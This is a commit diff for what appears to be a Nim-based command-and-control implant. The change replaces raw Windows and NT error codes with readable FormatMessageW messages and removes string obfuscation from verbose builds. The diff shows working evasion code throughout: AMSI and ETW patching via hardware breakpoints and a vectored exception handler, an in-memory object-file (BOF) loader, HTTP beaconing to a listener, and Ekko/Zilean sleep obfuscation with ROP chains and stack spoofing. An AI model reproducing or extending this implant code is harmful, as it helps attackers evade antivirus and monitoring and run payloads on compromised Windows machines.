Implemented human-readable error messages for Windows API and Native API errors using FormatMessageW. Removed string obfuscation/protection when agent is built with verbose flag.
This commit is contained in:
@@ -19,14 +19,14 @@ import ../../common/[types, utils]
|
|||||||
proc amsiPatch(pThreadCtx: PCONTEXT) =
|
proc amsiPatch(pThreadCtx: PCONTEXT) =
|
||||||
# Set the AMSI_RESULT parameter to 0 (AMSI_RESULT_CLEAN)
|
# Set the AMSI_RESULT parameter to 0 (AMSI_RESULT_CLEAN)
|
||||||
SETPARAM_6(pThreadCtx, cast[PULONG](0))
|
SETPARAM_6(pThreadCtx, cast[PULONG](0))
|
||||||
print protect(" [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN")
|
print " [+] AMSI_SCAN_RESULT set to AMSI_RESULT_CLEAN"
|
||||||
CONTINUE_EXECUTION(pThreadCtx)
|
CONTINUE_EXECUTION(pThreadCtx)
|
||||||
|
|
||||||
proc etwPatch(pThreadCtx: PCONTEXT) =
|
proc etwPatch(pThreadCtx: PCONTEXT) =
|
||||||
pThreadCtx.Rip = cast[PULONG_PTR](pThreadCtx.Rsp)[]
|
pThreadCtx.Rip = cast[PULONG_PTR](pThreadCtx.Rsp)[]
|
||||||
pThreadCtx.Rsp += sizeof(PVOID)
|
pThreadCtx.Rsp += sizeof(PVOID)
|
||||||
pThreadCtx.Rax = STATUS_SUCCESS
|
pThreadCtx.Rax = STATUS_SUCCESS
|
||||||
print protect(" [+] Return value of NtTraceEvent set to STATUS_SUCCESS")
|
print " [+] Return value of NtTraceEvent set to STATUS_SUCCESS"
|
||||||
CONTINUE_EXECUTION(pThreadCtx)
|
CONTINUE_EXECUTION(pThreadCtx)
|
||||||
|
|
||||||
#[
|
#[
|
||||||
|
|||||||
@@ -149,12 +149,12 @@ proc objectResolveSymbol(symbol: var PSTR): PVOID =
|
|||||||
if hModule == 0:
|
if hModule == 0:
|
||||||
hModule = LoadLibraryA(library)
|
hModule = LoadLibraryA(library)
|
||||||
if hModule == 0:
|
if hModule == 0:
|
||||||
raise newException(CatchableError, fmt"Library {$library} not found.")
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
# Resolve the function from the loaded library
|
# Resolve the function from the loaded library
|
||||||
resolved = GetProcAddress(hModule, function)
|
resolved = GetProcAddress(hModule, function)
|
||||||
if resolved == NULL:
|
if resolved == NULL:
|
||||||
raise newException(CatchableError, fmt"Function {$function} not found in {$library}.")
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
print fmt" [>] {$symbol} @ 0x{resolved.repr}"
|
print fmt" [>] {$symbol} @ 0x{resolved.repr}"
|
||||||
|
|
||||||
@@ -295,7 +295,7 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
|
|||||||
|
|
||||||
# Change the memory protection from [RW-] to [R-X]
|
# Change the memory protection from [RW-] to [R-X]
|
||||||
if VirtualProtect(secBase, secSize, PAGE_EXECUTE_READ, addr oldProtect) == 0:
|
if VirtualProtect(secBase, secSize, PAGE_EXECUTE_READ, addr oldProtect) == 0:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
# Execute BOF entry point
|
# Execute BOF entry point
|
||||||
var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value))
|
var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value))
|
||||||
@@ -307,7 +307,7 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool =
|
|||||||
|
|
||||||
# Revert the memory protection change
|
# Revert the memory protection change
|
||||||
if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0:
|
if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
return true
|
return true
|
||||||
|
|
||||||
@@ -332,7 +332,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
|||||||
|
|
||||||
var pObject = addr objectFile[0]
|
var pObject = addr objectFile[0]
|
||||||
if pObject == NULL or entryFunction == NULL:
|
if pObject == NULL or entryFunction == NULL:
|
||||||
raise newException(CatchableError, "Arguments pObject and entryFunction are required.")
|
raise newException(CatchableError, protect("Missing required arguments."))
|
||||||
|
|
||||||
# Parsing the object file's file header, symbol table and sections
|
# Parsing the object file's file header, symbol table and sections
|
||||||
objCtx.union.header = cast[PIMAGE_FILE_HEADER](pObject)
|
objCtx.union.header = cast[PIMAGE_FILE_HEADER](pObject)
|
||||||
@@ -347,10 +347,10 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
|||||||
when defined(amd64):
|
when defined(amd64):
|
||||||
if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64:
|
if objCtx.union.header.Machine != IMAGE_FILE_MACHINE_AMD64:
|
||||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, "Only x64 object files are supported")
|
raise newException(CatchableError, protect("Only x64 object files are supported."))
|
||||||
else:
|
else:
|
||||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, "Only x64 object files are supported")
|
raise newException(CatchableError, protect("Only x64 object files are supported."))
|
||||||
|
|
||||||
# Calculate required virtual memory
|
# Calculate required virtual memory
|
||||||
virtSize = objectVirtualSize(addr objCtx)
|
virtSize = objectVirtualSize(addr objCtx)
|
||||||
@@ -360,14 +360,14 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
|||||||
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
|
virtAddr = VirtualAlloc(NULL, virtSize, MEM_RESERVE or MEM_COMMIT, PAGE_READWRITE)
|
||||||
if virtAddr == NULL:
|
if virtAddr == NULL:
|
||||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
defer: VirtualFree(virtAddr, 0, MEM_RELEASE)
|
defer: VirtualFree(virtAddr, 0, MEM_RELEASE)
|
||||||
|
|
||||||
# Allocate heap memory to store section map array
|
# Allocate heap memory to store section map array
|
||||||
objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP)))
|
objCtx.secMap = cast[PSECTION_MAP](HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, int(objCtx.union.header.NumberOfSections) * sizeof(SECTION_MAP)))
|
||||||
if objCtx.secMap == NULL:
|
if objCtx.secMap == NULL:
|
||||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap)
|
defer: HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, objCtx.secMap)
|
||||||
|
|
||||||
print fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
|
print fmt"[*] Virtual memory allocated for object file at 0x{virtAddr.repr} ({virtSize} bytes)"
|
||||||
@@ -399,7 +399,7 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction:
|
|||||||
print "[*] Processing sections and performing relocations."
|
print "[*] Processing sections and performing relocations."
|
||||||
if not objectProcessSection(addr objCtx):
|
if not objectProcessSection(addr objCtx):
|
||||||
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
RtlSecureZeroMemory(addr objCtx, sizeof(objCtx))
|
||||||
raise newException(CatchableError, "Failed to process sections.")
|
raise newException(CatchableError, protect("Failed to process sections."))
|
||||||
|
|
||||||
# Executing the object file
|
# Executing the object file
|
||||||
print "[*] Executing."
|
print "[*] Executing."
|
||||||
|
|||||||
@@ -39,7 +39,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
|
|||||||
|
|
||||||
wipeKey(agentKeyPair.privateKey)
|
wipeKey(agentKeyPair.privateKey)
|
||||||
|
|
||||||
print protect("[+] Profile configuration deserialized.")
|
print "[+] Profile configuration deserialized."
|
||||||
return ctx
|
return ctx
|
||||||
|
|
||||||
proc init*(T: type AgentCtx): AgentCtx =
|
proc init*(T: type AgentCtx): AgentCtx =
|
||||||
|
|||||||
@@ -71,7 +71,7 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||||
print protect("[-] "), err.msg
|
echo "[-] ", err.msg
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
client.close()
|
client.close()
|
||||||
@@ -103,7 +103,7 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
|||||||
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
|
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
print protect("[-] "), err.msg
|
print "[-] ", err.msg
|
||||||
return false
|
return false
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
|
|||||||
@@ -34,8 +34,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool
|
|||||||
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
|
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
|
||||||
|
|
||||||
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||||
print protect("[!] GetThreadContext Failed: "), GetLastError()
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
return false
|
|
||||||
|
|
||||||
case drx:
|
case drx:
|
||||||
of Dr0:
|
of Dr0:
|
||||||
@@ -60,8 +59,7 @@ proc setHardwareBreakpoint*(pAddress: PVOID, fnHookFunc: PVOID, drx: DRX): bool
|
|||||||
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1)
|
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 1)
|
||||||
|
|
||||||
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||||
print protect("[!] SetThreadContext Failed: "), GetLastError()
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
return false
|
|
||||||
|
|
||||||
return true
|
return true
|
||||||
|
|
||||||
@@ -70,8 +68,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool =
|
|||||||
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
|
threadCtx.ContextFlags = CONTEXT_DEBUG_REGISTERS
|
||||||
|
|
||||||
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
if GetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||||
print protect("[!] GetThreadContext Failed: "), GetLastError()
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
return false
|
|
||||||
|
|
||||||
# Remove the address of the hooked function from the thread context
|
# Remove the address of the hooked function from the thread context
|
||||||
case drx:
|
case drx:
|
||||||
@@ -88,8 +85,7 @@ proc removeHardwareBreakpoint*(drx: DRX): bool =
|
|||||||
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0)
|
threadCtx.Dr7 = setDr7Bits(threadCtx.Dr7, (cast[int](drx) * 2), 1, 0)
|
||||||
|
|
||||||
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
if SetThreadContext(cast[HANDLE](-2), threadCtx.addr) == 0:
|
||||||
print protect("[!] SetThreadContext Failed"), GetLastError()
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
return false
|
|
||||||
|
|
||||||
return true
|
return true
|
||||||
|
|
||||||
@@ -197,7 +193,7 @@ proc initializeHardwareBPVariables*(): bool =
|
|||||||
# Add 'VectorHandler' as the VEH
|
# Add 'VectorHandler' as the VEH
|
||||||
g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler))
|
g_VectorHandler = AddVectoredExceptionHandler(1, cast[PVECTORED_EXCEPTION_HANDLER](vectorHandler))
|
||||||
if cast[int](g_VectorHandler) == 0:
|
if cast[int](g_VectorHandler) == 0:
|
||||||
print protect("[!] AddVectoredExceptionHandler Failed")
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
return false
|
return false
|
||||||
|
|
||||||
if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0:
|
if (cast[int](g_VectorHandler) and cast[int](g_CriticalSection.DebugInfo)) != 0:
|
||||||
|
|||||||
@@ -1,8 +1,13 @@
|
|||||||
|
import winim/lean
|
||||||
import macros
|
import macros
|
||||||
|
import strutils, strformat
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils]
|
||||||
|
|
||||||
const VERBOSE* {.booldefine.} = false
|
const VERBOSE* {.booldefine.} = false
|
||||||
|
|
||||||
|
type
|
||||||
|
RtlNtStatusToDosError = proc(status: NTSTATUS): DWORD {.stdcall.}
|
||||||
|
|
||||||
# Only print to console when VERBOSE mode is enabled
|
# Only print to console when VERBOSE mode is enabled
|
||||||
template print*(args: varargs[untyped]): untyped =
|
template print*(args: varargs[untyped]): untyped =
|
||||||
when defined(VERBOSE) and VERBOSE == true:
|
when defined(VERBOSE) and VERBOSE == true:
|
||||||
@@ -12,6 +17,15 @@ template print*(args: varargs[untyped]): untyped =
|
|||||||
|
|
||||||
# Convert Windows API error to readable value
|
# Convert Windows API error to readable value
|
||||||
# https://learn.microsoft.com/de-de/windows/win32/api/winbase/nf-winbase-formatmessage
|
# https://learn.microsoft.com/de-de/windows/win32/api/winbase/nf-winbase-formatmessage
|
||||||
|
proc getError*(errorCode: DWORD): string =
|
||||||
|
var msg = newWString(512)
|
||||||
|
FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_IGNORE_INSERTS, NULL, errorCode, cast[DWORD](MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT)), msg, cast[DWORD](msg.len()), NULL)
|
||||||
|
msg.nullTerminate()
|
||||||
|
return strip($msg) & fmt" ({$errorCode})"
|
||||||
|
|
||||||
# Convert NTSTATUS to readable value
|
# Convert NTSTATUS to readable value
|
||||||
# https://ntdoc.m417z.com/rtlntstatustodoserror
|
# https://ntdoc.m417z.com/rtlntstatustodoserror
|
||||||
|
proc getNtError*(status: NTSTATUS): string =
|
||||||
|
let pRtlNtStatusToDosError = cast[RtlNtStatusToDosError](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("RtlNtStatusToDosError")))
|
||||||
|
let errorCode = pRtlNtStatusToDosError(status)
|
||||||
|
return getError(errorCode)
|
||||||
|
|||||||
@@ -95,11 +95,11 @@ proc GetRandomThreadCtx(): CONTEXT =
|
|||||||
# Create snapshot of all available threads
|
# Create snapshot of all available threads
|
||||||
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
|
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)
|
||||||
if hSnapshot == INVALID_HANDLE_VALUE:
|
if hSnapshot == INVALID_HANDLE_VALUE:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
defer: CloseHandle(hSnapshot)
|
defer: CloseHandle(hSnapshot)
|
||||||
|
|
||||||
if Thread32First(hSnapshot, addr thd32Entry) == FALSE:
|
if Thread32First(hSnapshot, addr thd32Entry) == FALSE:
|
||||||
raise newException(CatchableError, $GetLastError())
|
raise newException(CatchableError, GetLastError().getError())
|
||||||
|
|
||||||
while Thread32Next(hSnapshot, addr thd32Entry) != 0:
|
while Thread32Next(hSnapshot, addr thd32Entry) != 0:
|
||||||
# Check if the thread belongs to the current process but is not the current thread
|
# Check if the thread belongs to the current process but is not the current thread
|
||||||
@@ -118,7 +118,7 @@ proc GetRandomThreadCtx(): CONTEXT =
|
|||||||
print fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
|
print fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
|
||||||
return ctx
|
return ctx
|
||||||
|
|
||||||
print protect("[-] No suitable thread for stack duplication found.")
|
print "[-] No suitable thread for stack duplication found."
|
||||||
return ctx
|
return ctx
|
||||||
|
|
||||||
#[
|
#[
|
||||||
@@ -144,41 +144,41 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
|
|||||||
# Create timer queue
|
# Create timer queue
|
||||||
status = apis.RtlCreateTimerQueue(addr queue)
|
status = apis.RtlCreateTimerQueue(addr queue)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: discard apis.RtlDeleteTimerQueue(queue)
|
defer: discard apis.RtlDeleteTimerQueue(queue)
|
||||||
|
|
||||||
# Create events
|
# Create events
|
||||||
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hEventTimer)
|
defer: CloseHandle(hEventTimer)
|
||||||
|
|
||||||
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hEventStart)
|
defer: CloseHandle(hEventStart)
|
||||||
|
|
||||||
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hEventEnd)
|
defer: CloseHandle(hEventEnd)
|
||||||
|
|
||||||
# Retrieve the initial thread context
|
# Retrieve the initial thread context
|
||||||
delay += 100
|
delay += 100
|
||||||
status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
|
status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
|
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
|
||||||
delay += 100
|
delay += 100
|
||||||
status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
|
status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
# Wait for events to finish before continuing
|
# Wait for events to finish before continuing
|
||||||
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
|
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
if spoofStack:
|
if spoofStack:
|
||||||
# Stack duplication
|
# Stack duplication
|
||||||
@@ -192,7 +192,7 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
|
|||||||
if spoofStack:
|
if spoofStack:
|
||||||
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hThread)
|
defer: CloseHandle(hThread)
|
||||||
|
|
||||||
# Preparing the ROP chain
|
# Preparing the ROP chain
|
||||||
@@ -278,19 +278,19 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
|
|||||||
|
|
||||||
status = apis.RtlCreateTimer(queue, addr timer, apis.NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
|
status = apis.RtlCreateTimer(queue, addr timer, apis.NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
print protect("[*] Sleep obfuscation start.")
|
print "[*] Sleep obfuscation start."
|
||||||
|
|
||||||
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
status = apis.NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
print protect("[*] Sleep obfuscation end.")
|
print "[*] Sleep obfuscation end."
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
sleep(sleepDelay)
|
sleep(sleepDelay)
|
||||||
print protect("[-] "), err.msg
|
print "[-] ", err.msg
|
||||||
|
|
||||||
|
|
||||||
#[
|
#[
|
||||||
@@ -316,38 +316,38 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
|
|||||||
# Create events
|
# Create events
|
||||||
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hEventTimer)
|
defer: CloseHandle(hEventTimer)
|
||||||
|
|
||||||
status = apis.NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hEventWait)
|
defer: CloseHandle(hEventWait)
|
||||||
|
|
||||||
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hEventStart)
|
defer: CloseHandle(hEventStart)
|
||||||
|
|
||||||
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
status = apis.NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hEventEnd)
|
defer: CloseHandle(hEventEnd)
|
||||||
|
|
||||||
delay += 100
|
delay += 100
|
||||||
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
delay += 100
|
delay += 100
|
||||||
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
# Wait for events to finish before continuing
|
# Wait for events to finish before continuing
|
||||||
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
|
status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
if spoofStack:
|
if spoofStack:
|
||||||
# Stack duplication
|
# Stack duplication
|
||||||
@@ -361,7 +361,7 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
|
|||||||
if spoofStack:
|
if spoofStack:
|
||||||
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
status = apis.NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
defer: CloseHandle(hThread)
|
defer: CloseHandle(hThread)
|
||||||
|
|
||||||
# Preparing the ROP chain
|
# Preparing the ROP chain
|
||||||
@@ -446,19 +446,19 @@ proc sleepZilean(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var
|
|||||||
delay += 100
|
delay += 100
|
||||||
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](apis.NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
status = apis.RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](apis.NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
print protect("[*] Sleep obfuscation start.")
|
print "[*] Sleep obfuscation start."
|
||||||
|
|
||||||
